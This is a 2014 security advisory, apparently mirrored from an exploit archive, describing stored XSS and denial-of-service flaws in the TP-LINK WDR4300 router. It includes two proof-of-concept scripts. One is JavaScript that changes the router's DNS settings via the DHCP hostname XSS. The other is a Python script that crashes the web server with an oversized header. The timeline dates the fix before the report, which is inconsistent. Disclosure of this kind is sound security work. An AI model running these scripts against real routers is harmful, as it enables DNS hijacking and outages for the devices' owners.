TP-LINK WDR4300 XSS / Denial Of Service Vulnerabilities

2014-09-23T00:00:00
ID 1337DAY-ID-22680
Type zdt
Reporter Oz Elisyan
Modified 2014-09-23T00:00:00

Description

TP-LINK WDR4300 suffers from cross site scripting and denial of service vulnerabilities.

                                        
                                            Vendors Contacted: TP-LINK
Vendor Patched: Yes, Firmware 140916
System Affected: N750 Wireless Dual Band Gigabit Router (TL-WDR4300), might affect others.
Versions Affected: 130617 , possibly earlier 
CVE Numbers Assigned: CVE-2014-4727, CVE-2014-4728


Vulnerabilities Description
===================

# Stored XSS -

It is possible inject javascript code via DHCP hostname field, 
If the administrator will visit the dhcp clients page (web panel)
the script will execute.

# DoS (web server) -
Denial of service condition to the device web server, remotely or locally send the
device a "GET" request with an extra "Header" with a long value (A x 3000 times).


Proof of Concept:
============

http://elisyan.com/tplink/wdr4300.html

---- start wdr4300.html ----
/*
Author: Oz Elisyan
Title: TP-LINK WDR4300 XSS to CSRF (the device has Referer check)
*/



var xmlhttp;
if (window.XMLHttpRequest)
  {// code for IE7+, Firefox, Chrome, Opera, Safari
  xmlhttp=new XMLHttpRequest();
  }
else
  {// code for IE6, IE5
  xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
  }
xmlhttp.onreadystatechange=function()
  {
  if (xmlhttp.readyState==4 && xmlhttp.status==200)
    {
    document.getElementById("myDiv").innerHTML=xmlhttp.responseText;
    }
  }
xmlhttp.open("GET","/userRpm/WanDynamicIpCfgRpm.htm?wan=0&mtu=1500&manual=2&dnsserver=X.X.X.X&dnsserver2=X.X.X.X&hostName=&Save=Save",true);
xmlhttp.send();



---- end wdr4300.html ----

http://elisyan.com/tplink/wdr4300.py

---- start wdr4300.py ----
#Author: Oz Elisyan
#TP-Link WDR4300 DoS PoC

import httplib

conn = httplib.HTTPConnection("192.168.0.1")
headers = {"Content-type": "application/x-www-form-urlencoded",
"Accept": "text/plain", "DoS": "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"}
conn.request("GET","/", "Let me tell you something", headers)

print "Done"

---- end wdr4300.py ----


Report Timeline:
===========

2014-07-04:
Vendor notified about the vulnerabilities with all the relevant technical information.

2013-09-16:
Vendor released a fix.

Credits:
======

The Vulnerabilities was discovered by Oz Elisyan.


References:
========

http://www.tp-link.com/lk/products/details/?model=TL-WDR4300

#  0day.today [2018-04-09]  #